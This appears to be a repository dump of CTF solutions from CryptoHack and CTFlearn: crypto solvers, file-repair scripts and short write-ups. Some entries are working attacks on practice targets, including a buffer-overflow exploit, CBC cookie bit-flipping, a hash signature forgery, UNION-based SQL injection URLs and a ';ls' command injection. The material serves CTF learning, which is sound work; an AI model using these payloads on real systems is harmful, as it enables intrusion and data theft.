"DH1024", "DH512", "DH256", "DH128", "DH64"]} 3 | Send to Bob: {"supported":["DH64"]} 4 | Intercepted from Bob: {"chosen": "DH64"} 5 | Send to Alice: {"chosen": "DH64"} 6 | Intercepted from Alice: {"p": "0xde26ab651b92a129", "g": "0x2", "A": "0x637430f37c694fa7"} 7 | Intercepted from Bob: {"B": "0x7249365a2a8c71ff"} 8 | Intercepted from Alice: {"iv": "31077c28f19c90297f3da6dff6ca3019", "encrypted_flag": "0ebb53dab97122361cfa8cdbb5ddc092a5af41452aae8def0d27181b6ee89839"} 9 | """ 10 | 11 | p = "0xde26ab651b92a129" 12 | g = "0x2" 13 | A = "0x637430f37c694fa7" 14 | B = "0x7249365a2a8c71ff" 15 | iv = "31077c28f19c90297f3da6dff6ca3019" 16 | encrypted_flag = "0ebb53dab97122361cfa8cdbb5ddc092a5af41452aae8def0d27181b6ee89839" 17 | 18 | p = int(p, 16) 19 | g = int(g, 16) 20 | A = int(A, 16) 21 | B = int(B, 16) 22 | iv = bytes.fromhex(iv) 23 | encrypted_flag = bytes.fromhex(encrypted_flag) 24 | 25 | from Crypto.Cipher import AES 26 | from Crypto.Util import number 27 | import hashlib 28 | 29 | def decrypt(secret, iv, cipher): 30 | sha1 = hashlib.sha1() 31 | sha1.update(str(secret).encode()) 32 | key = sha1.digest()[:16] 33 | aes = AES.new(key, AES.MODE_CBC, iv) 34 | plain = aes.decrypt(cipher) 35 | print(plain) 36 | 37 | """ 38 | A = pow(g, a, p) 39 | B = pow(g, b, p) 40 | 41 | ka = pow(B, a, p) 42 | kb = pow(A, b, p) 43 | """ 44 | # Use Discrete logarithm calculator https://www.alpertron.com.ar/DILOG.HTM to find out Alice's secret key ``a`` 45 | a = 7596561454821291306 46 | secret = pow(B, a, p) 47 | decrypt(secret, iv, encrypted_flag) 48 | -------------------------------------------------------------------------------- /cryptohack/flipping-cookie/flipping_cookie.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from datetime import datetime, timedelta 3 | import requests 4 | 5 | def print_blk(hex_blks, sz): 6 | for i in range(0, len(hex_blks), sz): 7 | print(hex_blks[i:i+sz], ' ', end='') 8 | print() 9 | 10 | def flip(cookie, plain): 11 | start = plain.find(b'admin=False') 12 | cookie = bytes.fromhex(cookie) 13 | iv = [0xff]*16 14 | cipher_fake = list(cookie) 15 | fake = b';admin=True;' 16 | for i in range(len(fake)): 17 | cipher_fake[16+i] = plain[16+i] ^ cookie[16+i] ^ fake[i] 18 | iv[start+i] = plain[start+i] ^ cookie[start+i] ^ fake[i] 19 | 20 | cipher_fake = bytes(cipher_fake).hex() 21 | iv = bytes(iv).hex() 22 | return cipher_fake, iv 23 | 24 | def request_cookie(): 25 | r = requests.get("http://aes.cryptohack.org/flipping_cookie/get_cookie/") 26 | return r.json()["cookie"] 27 | 28 | def request_check_admin(cookie, iv): 29 | r = requests.get("http://aes.cryptohack.org/flipping_cookie/check_admin/{}/{}/".format(cookie, iv)) 30 | return r.json() 31 | 32 | expires_at = (datetime.today() + timedelta(days=1)).strftime("%s") 33 | plain = f"admin=False;expiry={expires_at}".encode() 34 | cookie = request_cookie() 35 | cookie, iv = flip(cookie, plain) 36 | print(request_check_admin(cookie, iv)) 37 | -------------------------------------------------------------------------------- /cryptohack/lazy-cbc/lazy_cbc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | def print_blk(hex_blks, sz): 4 | for i in range(0, len(hex_blks), sz): 5 | print(hex_blks[i:i+sz], ' ', end='') 6 | print() 7 | 8 | plain = (b'a'*(16*3)).hex() 9 | # ENCRYPT(PLAINTEXT) 10 | cipher = '1c5ded2c669062d2cd3a11766371be1a38f0a5d3c96961eac8586bb4549dfc41c49a8a3d4c17740bf224d19d129fa9a8' 11 | print_blk(cipher, 32) 12 | 13 | # alter cipher text 14 | fake_cipher = cipher[:32] + '0'*32 + cipher[:32] 15 | print_blk(fake_cipher, 32) 16 | print(fake_cipher) 17 | 18 | # RECEIVE(CIPHERTEXT) 19 | fake_plain = '6161616161616161616161616161616155cb30af3a7c7a40f8ce7e766c8037579bf317d1684a16e1e95691b163dc178a' 20 | print_blk(fake_plain, 32) 21 | fake_plain = bytes.fromhex(fake_plain) 22 | iv = [0]*16 23 | for i in range(len(iv)): 24 | iv[i] = fake_plain[i] ^ fake_plain[32+i] 25 | print(bytes(iv).hex()) 26 | 27 | # GET_FLAG(KEY) 28 | flag = '63727970746f7b35306d335f703330706c335f64306e375f3768316e6b5f49565f31355f316d70307237346e375f3f7d' 29 | print(bytes.fromhex(flag)) 30 | -------------------------------------------------------------------------------- /cryptohack/md0/md0.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Util.Padding import pad 3 | import pwn 4 | import json 5 | 6 | """ 7 | p0 = key 8 | 9 | c0 = e(p0, 0) ^ 0 10 | c1 = e(p1, c0) ^ c0 11 | c2 = e(p2, c1) ^ c1 12 | 13 | c1 = e(p1, c0) ^ c0 14 | c1' = e(p1', c0) ^ c0 15 | """ 16 | 17 | host = "socket.cryptohack.org" 18 | port = 13388 19 | 20 | def exploit(): 21 | pr = pwn.connect(host, port) 22 | try: 23 | pr.readline() 24 | pr.sendline('{"option":"sign","message":""}') 25 | """ 26 | c0 = e(key) 27 | c1 = e(padding) 28 | """ 29 | c1 = bytes.fromhex(json.loads(pr.readline().strip().decode())["signature"]) 30 | data = b'admin=True' + b'\x06'*6 31 | fake = pwn.xor(AES.new(data, AES.MODE_ECB).encrypt(c1), c1).hex() 32 | """ 33 | p0 = key 34 | p1 = padding_16 35 | p2 = admin=True + padding_6 36 | """ 37 | data = (b'\x10'*16+b'admin=True').hex() 38 | pr.sendline(f'{{"option":"get_flag","signature":"{fake}","message":"{data}"}}') 39 | print(pr.readline()) 40 | finally: 41 | pr.close() 42 | 43 | exploit() 44 | -------------------------------------------------------------------------------- /cryptohack/modulus-inutilis/decrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from Cryptodome.Util import number 3 | import gmpy 4 | 5 | n = 17258212916191948536348548470938004244269544560039009244721959293554822498047075403658429865201816363311805874117705688359853941515579440852166618074161313773416434156467811969628473425365608002907061241714688204565170146117869742910273064909154666642642308154422770994836108669814632309362483307560217924183202838588431342622551598499747369771295105890359290073146330677383341121242366368309126850094371525078749496850520075015636716490087482193603562501577348571256210991732071282478547626856068209192987351212490642903450263288650415552403935705444809043563866466823492258216747445926536608548665086042098252335883 6 | e = 3 7 | ct = 243251053617903760309941844835411292373350655973075480264001352919865180151222189820473358411037759381328642957324889519192337152355302808400638052620580409813222660643570085177957 8 | 9 | # n is a prime, e is small, ct is smaller than n 10 | print(number.long_to_bytes(gmpy.root(ct, e)[0])) 11 | -------------------------------------------------------------------------------- /cryptohack/point-addition/point-addition.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import math 3 | 4 | O = 'Origin' 5 | 6 | def inv_mod(x, p): 7 | return pow(x, p-2, p) 8 | 9 | def ecc_points_add(P, Q, a, p): 10 | 11 | if P == O: 12 | return Q 13 | if Q == O: 14 | return P 15 | 16 | if P[0] == Q[0] and P[1] == -Q[1]: 17 | return O 18 | 19 | if P != Q: 20 | #lam = (Q[1]-P[1])/(Q[0]-P[0]) 21 | lam = (Q[1]-P[1])*inv_mod(Q[0]-P[0], p) 22 | else: 23 | #lam = (3*pow(P[0],2)+a)/(2*P[1]) 24 | lam = (3*pow(P[0],2)+a)*inv_mod(2*P[1], p) 25 | 26 | x3 = pow(lam, 2) - P[0] - Q[0] 27 | x3 %= p 28 | y3 = lam*(P[0]-x3)-P[1] 29 | return (int(x3), int(y3%p)) 30 | 31 | 32 | if __name__ == '__main__': 33 | P = (493, 5564) 34 | Q = (1539, 4742) 35 | R = (4403, 5202) 36 | 37 | # E: Y2 = X3 + 497 X + 1768, p: 9739 38 | a = 497 39 | b = 1768 40 | p = 9739 41 | 42 | # test 43 | X = (5274, 2841) 44 | Y = (8669, 740) 45 | S = ecc_points_add(X, X, a, p) 46 | print(S, S == (7284, 2107)) 47 | S = ecc_points_add(X, Y, a, p) 48 | print(S, S == (1024, 4440)) 49 | 50 | # S(x,y) = P + P + Q + R 51 | S = ecc_points_add(P, P, a, p) 52 | print('P+P', S) 53 | S = ecc_points_add(S, Q, a, p) 54 | print('S+Q', S) 55 | S = ecc_points_add(S, R, a, p) 56 | print('S+R', S) 57 | print(S == (4215, 2162)) 58 | -------------------------------------------------------------------------------- /cryptohack/scalar-multiplication/scalar-multiplication.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import math 3 | 4 | O = 'Origin' 5 | 6 | def inv_mod(x, p): 7 | return pow(x, p-2, p) 8 | 9 | # Calculate S = P + Q 10 | def ecc_points_add(P, Q, a, p): 11 | 12 | if P == O: 13 | return Q 14 | if Q == O: 15 | return P 16 | 17 | if P[0] == Q[0] and P[1] == -Q[1]: 18 | return O 19 | 20 | if P != Q: 21 | lam = (Q[1]-P[1])*inv_mod(Q[0]-P[0], p) 22 | else: 23 | lam = (3*pow(P[0],2)+a)*inv_mod(2*P[1], p) 24 | 25 | x3 = pow(lam, 2) - P[0] - Q[0] 26 | x3 %= p 27 | y3 = lam*(P[0]-x3)-P[1] 28 | return (int(x3), int(y3%p)) 29 | 30 | # Calculate Q = nP 31 | def scalar_mul(P, n, a, p): 32 | R = O 33 | Q = P 34 | 35 | while n > 0: 36 | if n % 2 == 1: 37 | R = ecc_points_add(R, Q, a, p) 38 | Q = ecc_points_add(Q, Q, a, p) 39 | n = math.floor(n/2) 40 | return R 41 | 42 | # E: Y2 = X3 + 497 X + 1768, p: 9739 43 | a = 497 44 | b = 1768 45 | p = 9739 46 | 47 | n = 1337 48 | X = (5323, 5438) 49 | S = scalar_mul(X, n, a, p) 50 | print(S, S == (1089, 6931)) 51 | 52 | P = (2339, 2213) 53 | n = 7863 54 | S = scalar_mul(P, n, a, p) 55 | print(S) 56 | -------------------------------------------------------------------------------- /cryptohack/triple-des/triple_des.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import requests 3 | 4 | def print_blk(hex_blks, sz): 5 | for i in range(0, len(hex_blks), sz): 6 | print(hex_blks[i:i+sz], ' ', end='') 7 | print() 8 | 9 | def encrypt(key, plain): 10 | url = "http://aes.cryptohack.org/triple_des/encrypt/" 11 | rsp = requests.get(url + key + '/' + plain + '/').json() 12 | if rsp.get("error", None): 13 | raise ValueError(rsp["error"]) 14 | return rsp["ciphertext"] 15 | 16 | def encrypt_flag(key): 17 | url = "http://aes.cryptohack.org/triple_des/encrypt_flag/" 18 | rsp = requests.get(url + key + '/').json() 19 | if rsp.get("error", None): 20 | raise ValueError(rsp["error"]) 21 | return rsp["ciphertext"] 22 | 23 | key = b'\x00'*8 + b'\xff'*8 24 | flag = encrypt_flag(key.hex()) 25 | flag_sz = 34 26 | cipher = encrypt(key.hex(), flag) 27 | print_blk(cipher, 16) 28 | print(bytes.fromhex(cipher)) 29 | -------------------------------------------------------------------------------- /ctflearn/5x5/decode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | 4 | def init_key(): 5 | key = [[]] 6 | i = ord('A') 7 | j = 0 8 | 9 | while i < ord('Z')+1: 10 | if len(key[-1]) == 5: 11 | key.append([]) 12 | 13 | key[-1].append(chr(i)) 14 | print(chr(i), end=' ') 15 | j += 1 16 | if j % 5 == 0: 17 | print() 18 | i+=1 19 | if i == ord('K'): 20 | i+=1 21 | return key 22 | 23 | def decode(key, enc): 24 | parts = enc.split(',') 25 | flag = ['?']*len(parts) 26 | 27 | for i in range(len(parts)): 28 | flag[i] = parts[i] 29 | if not parts[i][0].isdigit(): 30 | continue 31 | r = 0 32 | c = 0 33 | for a in parts[i]: 34 | if a.isdigit(): 35 | if r == 0: 36 | r = int(a) 37 | else: 38 | c = int(a) 39 | f = key[int(r)-1][int(c)-1] 40 | flag[i] = f 41 | 42 | return flag 43 | 44 | enc = "1-3,4-4,2-1,{,4-4,2-3,4-5,3-2,1-2,4-3,_,4-5,3-5,}" 45 | key = init_key() 46 | flag = decode(key, enc) 47 | print(''.join(flag)) 48 | -------------------------------------------------------------------------------- /ctflearn/abondoned-street-challenge2/abondoned_street_challenge2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | data = open('abondoned_street_challenge2.jpg', 'rb').read() 4 | 5 | i = 0 6 | xi = 0 7 | yi = 0 8 | while i < len(data): 9 | i = data.find(b'\xff\xc0', i) 10 | if i == -1: break 11 | yi = i+5 12 | xi = i+7 13 | break 14 | 15 | print('x', xi, data[xi:xi+2], 'y', yi, data[yi:yi+2]) 16 | data = data[:yi] + b'\x04\x60' + data[yi+2:] 17 | with open('fix.jpg', 'wb') as fd: 18 | fd.write(data) 19 | -------------------------------------------------------------------------------- /ctflearn/bruXOR/decrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | s = "q{vpln'bH_varHuebcrqxetrHOXEj" 4 | output = [] 5 | 6 | for c in range(256): 7 | output.append([]) 8 | for i in range(len(s)): 9 | a = ord(s[i]) ^ c 10 | if (a >= ord('a') and a <= ord('z')) or\ 11 | (a >= ord('A') and a <= ord('Z')) or\ 12 | (a >= ord('0') and a <= ord('9')) or\ 13 | a == ord('_') or a == ord('{') or a == ord('}') or a == ord('@'): 14 | output[-1].append(chr(a)) 15 | if output[-1] and output[-1][-1] == '}': 16 | print(chr(c), ''.join(output[-1])) 17 | -------------------------------------------------------------------------------- /ctflearn/calculat3-m3/writeup.md: -------------------------------------------------------------------------------- 1 | The site gives a calculator that you can click the buttons to input expression, then it will eval the expression and gives a result. The display is set to ``readonly``, by removing the attribute we can input whatever we want. 2 | 3 | 4 | Try to get the contents in directory, set the expression to ``;ls``. Submit it to get a list of file names in result, the flag is the one starts with ``ctf``. 5 | -------------------------------------------------------------------------------- /ctflearn/corrupted-file/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | ```bash 3 | $ xxd unopenable.gif |head 4 | 00000000: 3961 f401 f401 f400 0000 0000 3a00 0000 9a..........:... 5 | 00000010: 003a 3a00 3a66 0000 6600 3a00 0066 903a .::.:f..f.:..f.: 6 | 00000020: 0090 3a3a b666 00b6 663a 9090 3adb 903a ..::.f..f:..:..: 7 | 00000030: ffb6 6600 3a90 663a 9000 6690 0066 b63a ..f.:.f:..f..f.: 8 | 00000040: 66b6 9066 903a 90db 66b6 ffb6 ffb6 ffdb f..f.:..f....... 9 | 00000050: 90ff ffb6 90db ffb6 ffff ffff dbdb ffff ................ 10 | 00000060: ffff ff00 0000 0000 0021 f904 080a 0000 .........!...... 11 | 00000070: 0021 ff0b 4e45 5453 4341 5045 322e 3003 .!..NETSCAPE2.0. 12 | 00000080: 0100 0000 21ff 0b49 6d61 6765 4d61 6769 ....!..ImageMagi 13 | 00000090: 636b 0d67 616d 6d61 3d30 2e34 3534 3535 ck.gamma=0.45455 14 | ``` 15 | 16 | The file starts with *3961*, seems like the version of gif, whilst part of git signature, *47 49 46 38*, is missing, by adding the missing part I got a fixed gif. 17 | 18 | ```bash 19 | $ file unopenable-fix.gif 20 | unopenable-fix.gif: GIF image data, version 89a, 500 x 500 21 | ``` 22 | 23 | ```python 24 | buf = open('unopenable.gif', 'rb').read() 25 | buf = b"\x47\x49\x46\x38" + buf 26 | with open('unopenable-fix.gif', 'wb') as fd: 27 | fd.write(buf) 28 | ``` 29 | 30 | Opened fixed gif file in *stegsolve*, read it frame by frame, combined strings in frame 2 to 4 I got a base64 encoded flag, decoded it to get the flag. 31 | 32 | ```python 33 | import base64 34 | s='ZmxhZ3tnMWZfb3JfajFmfQ==' 35 | print(base64.b64decode(s)) 36 | ``` 37 | -------------------------------------------------------------------------------- /ctflearn/cryptoversing/decrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from Cryptodome.Util import number 3 | 4 | expected = 0x685f624f7d4563444f522b47297568286a6c2c764c 5 | expected = number.long_to_bytes(expected) 6 | 7 | def decrypt(): 8 | buf = [0]*len(expected) 9 | arr = [0]*6 10 | arr[0] = 0x10 11 | arr[1] = 0x18 12 | arr[2] = len(buf) >> 1 13 | arr[3] = len(buf) 14 | arr[4] = 0 15 | arr[5] = len(buf) >> 1 16 | for i in range(2): 17 | cur = arr[i + 4] 18 | while cur < arr[i + 2]: 19 | buf[cur] = expected[cur] ^ arr[i] 20 | cur = cur + 1; 21 | 22 | return ''.join(map(chr, buf)) 23 | 24 | print(decrypt()) 25 | -------------------------------------------------------------------------------- /ctflearn/don't-bump-your-header/writeup.md: -------------------------------------------------------------------------------- 1 | The challenge gives a url named ``/header.php``, we got blocked whiling access the page 2 | 3 | ```html 4 | Sorry, it seems as if your user agent is not correct, in order to access this website. The one you supplied is: chrome 5 | 6 | ``` 7 | 8 | Changed the user agent to ``Sup3rS3cr3tAg3nt`` and visit again, we got a new hint 9 | 10 | ```html 11 | Sorry, it seems as if you did not just come from the site, "awesomesauce.com". 12 | 13 | ``` 14 | 15 | Now we change the referrer to ``awesomesauce.com`` and try again 16 | 17 | ```bash 18 | curl -v -H 'User-Agent: Sup3rS3cr3tAg3nt' --referrer awesomesauce.com http://165.227.106.113/header.php 19 | ``` 20 | 21 | The flag is in the response. 22 | -------------------------------------------------------------------------------- /ctflearn/every-bit-counts/community-solution.py: -------------------------------------------------------------------------------- 1 | #/usr/bin/env python3 2 | 3 | import sys 4 | import time 5 | 6 | pwd = bytearray('.' * 52, 'utf8') 7 | 8 | with open('every_bit_counts', 'rb') as f: 9 | f.seek(0x486) 10 | while True: 11 | code = f.read(11) 12 | if code != b'\x48\x8b\x45\xf0\x48\x83\xc0\x08\x48\x8b\x08': # MOV+ADD+MOV 13 | break 14 | 15 | code = f.read(3) # ADD (optional) + MOVSX 16 | if code == b'\x48\x83\xc1': 17 | offset = int.from_bytes(f.read(1), 'big') 18 | code = f.read(3) 19 | else: 20 | offset = 0 21 | 22 | code = f.read(3) # AND (3 or 6 bytes) 23 | mask = code[2] 24 | if mask == 0x80: 25 | f.read(3) 26 | 27 | code = f.read(9) # CMP + JN/JNZ 28 | if code[4] == 0x85: # JNZ 29 | pwd[offset] &= ~mask 30 | else: 31 | pwd[offset] |= mask 32 | 33 | print(pwd.decode('utf8'), end='\r') 34 | time.sleep(0.02) 35 | sys.stdout.flush() 36 | print() 37 | -------------------------------------------------------------------------------- /ctflearn/f1l3-m1x3r/fl4g.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | buf = open('fl4g.jpeg', 'rb').read() 4 | 5 | fix = b'' 6 | with open('fl4g-fix.jpeg', 'wb') as fd: 7 | for i in range(0, len(buf), 4): 8 | fd.write(bytes(list(reversed(buf[i:i+4])))) 9 | 10 | -------------------------------------------------------------------------------- /ctflearn/f1l3-m1x3r/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | Checked out file type with *file*, it seems unable to recognize it. 3 | 4 | ```bash 5 | $ file fl4g.jpeg 6 | fl4g.jpeg: data 7 | ``` 8 | 9 | Read the data in *xxd*, noticed that first several bytes looks weird for a jpeg file. 10 | 11 | ```bash 12 | $ xxd fl4g.jpeg |head 13 | 00000000: e0ff d8ff 464a 1000 0100 4649 6000 0101 ....FJ....FI`... 14 | 00000010: 0000 6000 4300 dbff 0202 0300 0302 0203 ..`.C........... 15 | 00000020: 0403 0303 0504 0303 0405 0508 070a 0504 ................ 16 | 00000030: 0c08 0607 0b0c 0c0a 0d0b 0b0a 0d10 120e ................ 17 | 00000040: 0b0e 110e 1016 100b 1514 1311 0f0c 1515 ................ 18 | 00000050: 1416 1817 1514 1218 00db ff14 0403 0143 ...............C 19 | 00000060: 0504 0504 0905 0509 0d0b 0d14 1414 1414 ................ 20 | 00000070: 1414 1414 1414 1414 1414 1414 1414 1414 ................ 21 | 00000080: 1414 1414 1414 1414 1414 1414 1414 1414 ................ 22 | 00000090: 1414 1414 1414 1414 1414 1414 c0ff 1414 ................ 23 | ``` 24 | 25 | A jpeg file is supposed to starts with *FF D8 FF E0 00 10 4A 46 49 46 00 01*, according to [list of file signatures](https://wikimili.com/en/List_of_file_signatures). It seems reversed every 4 bytes. Could this happened to the rest also? 26 | 27 | To check it out, dump it every 4 bytes reversed. 28 | 29 | ```python 30 | buf = open('fl4g.jpeg', 'rb').read() 31 | 32 | fix = b'' 33 | with open('fl4g-fix.jpeg', 'wb') as fd: 34 | for i in range(0, len(buf), 4): 35 | fd.write(bytes(list(reversed(buf[i:i+4])))) 36 | ``` 37 | 38 | Checked fixed file out with *file*, it looks back on track. 39 | 40 | ```bash 41 | $ file fl4g-fix.jpeg 42 | fl4g-fix.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 262x102, components 3 43 | ``` 44 | 45 | Viewed it in *ristretto* and found the flag. 46 | -------------------------------------------------------------------------------- /ctflearn/fabrio's-nachos/base.txt: -------------------------------------------------------------------------------- 1 | OTI3MzcyNjkyMTkzMDc4OTk5MTc2IDE2NjQxMDI3NzUwNjIwNTYzNjYyMDk2IDgzNjIxMTQzNDg5ODQ4NDIyOTc3IDE1MDA1MjA1MzYyMDY4OTYwODMyNzcgMjI2OTgzNzQwNTIwMDY4NjM5NTY5NzU2ODIgOTI3MzcyNjkyMTkzMDc4OTk5MTc2IDc3Nzg3NDIwNDkgMTM1MzAxODUyMzQ0NzA2NzQ2MDQ5IDQ4MDc1MjY5NzYgNDM1NjY3NzYyNTg4NTQ4NDQ3MzgxMDUgMzI5NTEyODAwOTkgMjE4OTIyOTk1ODM0NTU1MTY5MDI2IDI0Mjc4OTMyMjgzOTk5NzUwODI0NTMgNDgwNzUyNjk3NiA1OTQyNTExNDc1NzUxMjY0MzIxMjg3NTEyNQ== -------------------------------------------------------------------------------- /ctflearn/fabrio's-nachos/decode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import base64 3 | from Cryptodome.Util import number 4 | 5 | 6 | def find_fibonacci_index(values): 7 | ma = max(values) 8 | 9 | w = [0] * 100 10 | w[0] = 1 11 | w[1] = 1 12 | i = 2 13 | n = 0 14 | seq = [-1] * len(values) 15 | while n < ma: 16 | n = w[(i-1)%100] + w[(i-2)%100] 17 | w[i % 100] = n 18 | try: 19 | loc = -1 20 | while True: 21 | loc = values.index(n, loc+1, len(values)) 22 | seq[loc] = i+1 23 | except ValueError: 24 | pass 25 | finally: 26 | i += 1 27 | 28 | return seq 29 | 30 | buf = open('base.txt', 'rb').read() 31 | values = base64.b64decode(buf).split() 32 | values = list(map(int, values)) 33 | seq = find_fibonacci_index(values) 34 | print(seq) 35 | print(''.join(map(chr, seq))) 36 | -------------------------------------------------------------------------------- /ctflearn/favorite-color/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import pwn 3 | 4 | host = "104.131.79.111" 5 | port = 1001 6 | user = "" 7 | pw = "" 8 | target = "./color" 9 | 10 | def exploit(): 11 | conn = pwn.ssh(user, host, port, pw) 12 | pr = conn.process(target) 13 | 14 | try: 15 | elf = pwn.ELF(target, False) 16 | 17 | payload = b'A'*52 18 | payload += pwn.p32(elf.sym["main"]+155) 19 | 20 | pr.sendlineafter("Enter your favorite color: ", payload) 21 | pr.sendline("cat flag.txt") 22 | print(pr.readall(2).decode()) 23 | except Exception as ex: 24 | print(ex) 25 | finally: 26 | pr.close() 27 | 28 | exploit() 29 | -------------------------------------------------------------------------------- /ctflearn/hail-caesar/hail-caesar.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import base64 3 | import string 4 | 5 | comm1 = """/<\9Fbu,Hy4ONC}pxP"4st12wn`?@O$6BgQo7i#gtD|s>3lf=""" 6 | comm2 = """2m{y!"%w2'z{&o2UfX~ws%!._s+{ (&@Vwu{ (&@_w%{v{(&0 """ 7 | 8 | def bruteforce_caesar(comm): 9 | for l in range(-255, 255): 10 | if l == 0: continue 11 | s = '' 12 | for c in comm: 13 | a = (ord(c)+l-32)%(127-32)+32 14 | 15 | if a > 0 and a < 127 and chr(a) in string.printable: 16 | s += chr(a) 17 | continue 18 | s = '' 19 | break 20 | if len(s) >= len(comm)/2: 21 | print(l, s) 22 | 23 | bruteforce_caesar(comm1) 24 | print('-'*80) 25 | bruteforce_caesar(comm2) 26 | -------------------------------------------------------------------------------- /ctflearn/hisss/hisss.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from PIL import Image 3 | import numpy as np 4 | 5 | png1 = Image.open('1.png') 6 | png2 = Image.open('2.png') 7 | 8 | png1 = np.array(png1) 9 | png2 = np.array(png2) 10 | 11 | result = np.bitwise_xor(png1, png2).astype(np.uint8) 12 | Image.fromarray(result).show() 13 | #CTF{I_L0V3_PYTH0N} 14 | -------------------------------------------------------------------------------- /ctflearn/image-magic/image-magic.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from PIL import Image 4 | 5 | img = Image.open('out+copy.jpg', 'r') 6 | img = img.convert('RGB') 7 | pixels = img.load() 8 | 9 | w, _ = img.size 10 | actual_h = w // 304 11 | 12 | img_fixed = Image.new(img.mode, (304, actual_h)) 13 | fixed = img_fixed.load() 14 | 15 | fy = 0 16 | 17 | for x in range(0, actual_h): 18 | row = [] 19 | fx = 0 20 | for i in range(x, w, actual_h): 21 | fixed[fx,fy] = pixels[i,0] 22 | fx += 1 23 | fy += 1 24 | 25 | img_fixed.show() 26 | -------------------------------------------------------------------------------- /ctflearn/inj3ction-time/writeup.md: -------------------------------------------------------------------------------- 1 | View dog information of id 1, the url changes to 2 | 3 | ```html 4 | https://web.ctflearn.com/web8/?id=1 5 | ``` 6 | 7 | Test injection with UNION 8 | 9 | ```html 10 | https://web.ctflearn.com/web8/?id=1%20union%20select%201,2,3,4 11 | ``` 12 | 13 | ```html 14 | https://web.ctflearn.com/web8/?id=1%20union%20select%201,2,table_name,4%20from%20information_schema.tables%20where%20table_schema=database() 15 | ``` 16 | 17 | There are two extra tables shown in result page, ``w0w_y0u_f0und_m3`` and ``webeight`` 18 | 19 | 20 | Try to find out the column names. 21 | 22 | ```html 23 | https://web.ctflearn.com/web8/?id=1%20union%20select%201,table_name,column_name,4%20from%20information_schema.columns%20where%20table_schema=database() 24 | ``` 25 | 26 | The pages shows ``w0w_y0u_f0und_m3`` contains one column, ``f0und_m3``. Get values of ``f0und_m3`` 27 | 28 | ```html 29 | https://web.ctflearn.com/web8/?id=1%20union%20select%201,2,f0und_m3,4%20from%20w0w_y0u_f0und_m3 30 | ``` 31 | 32 | The flag is shown. 33 | -------------------------------------------------------------------------------- /ctflearn/jakarta/jakarta.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from jakarta_data import * 3 | 4 | parts = [] 5 | data = bytes(data) 6 | parts = data.split(b'\xff\xd9')[:-1] 7 | 8 | for i in range(len(parts)): 9 | print(i, parts[i][:16], '...', parts[i][-16:], len(parts[i])) 10 | 11 | jpg = open('Jakarta.jpg', 'rb').read() 12 | rsa_prefix = b'-----BEGIN RSA PRIVATE KEY-----' 13 | xord_offset = 0 14 | for r in range(0, len(parts[0]), len(rsa_prefix)): 15 | xor_bytes = [] 16 | for i in range(len(rsa_prefix)): 17 | xor_bytes.append(rsa_prefix[i]^parts[0][r+i]) 18 | 19 | a = jpg.find(bytes(xor_bytes)) 20 | if a != -1: 21 | print('found', a, r) 22 | xord_offset = a 23 | break 24 | 25 | with open('jakarta_rsa.key', 'wb') as fd: 26 | for i in range(len(parts[0])): 27 | fd.write(int.to_bytes(parts[0][i] ^ jpg[xord_offset+i], 1, 'little')) 28 | 29 | with open('jakarta_flag', 'wb') as fd: 30 | fd.write(parts[3]) 31 | -------------------------------------------------------------------------------- /ctflearn/jumper/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | We were asked to find out where does it jump to from *0x80484e2*. The destination is stored in register *eax*. 3 | 4 | ```asm 5 | 80484df: 8b 45 f0 mov -0x10(%ebp),%eax 6 | 80484e2: ff d0 call *%eax <--- What address does this jump to?? 7 | ``` 8 | 9 | Look back a few lines, there was a ``fgets`` call to get user input and the value is stored in *eax*. When user input is *jump*, ``fgets`` reads only 4 bytes, the last byte is set to *"\x00"* for end of string, therefore, in register *eax* the value is *006d756a* for string *" 10 | jum\x00"*. 11 | 12 | ```asm 13 | 80484b4: 50 push %eax 14 | 80484b5: 6a 04 push $0x4 15 | 80484b7: 8d 45 f0 lea -0x10(%ebp),%eax 16 | 80484ba: 50 push %eax 17 | 80484bb: e8 80 fe ff ff call 8048340 18 | ``` 19 | 20 | The coming loop increaments value in *eax* by 5 for 8 times, so when it quit the loop, *eax* became *0x006d756a+40*, which is the flag *0x6d7592* without leading zeros. 21 | 22 | ```asm 23 | 80484cc: 8b 45 f0 mov -0x10(%ebp),%eax 24 | 80484cf: 83 c0 05 add $0x5,%eax 25 | 80484d2: 89 45 f0 mov %eax,-0x10(%ebp) 26 | 80484d5: 83 45 f4 01 addl $0x1,-0xc(%ebp) 27 | 80484d9: 83 7d f4 07 cmpl $0x7,-0xc(%ebp) 28 | 80484dd: 7e ed jle 80484cc 29 | ``` 30 | -------------------------------------------------------------------------------- /ctflearn/libraries/fake.mk: -------------------------------------------------------------------------------- 1 | libhello.so : fakelib.o 2 | cc fakelib.o -shared -o libhello.so 3 | mkdir -p .helloWorld 4 | cp libhello.so .helloWorld 5 | 6 | fakelib.o : 7 | cp /home/lib/Helloworld.h . 8 | cc -c -I/usr/lib/jvm/java-8-openjdk-amd64/include -fpic fakelib.c 9 | -------------------------------------------------------------------------------- /ctflearn/libraries/fakelib.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 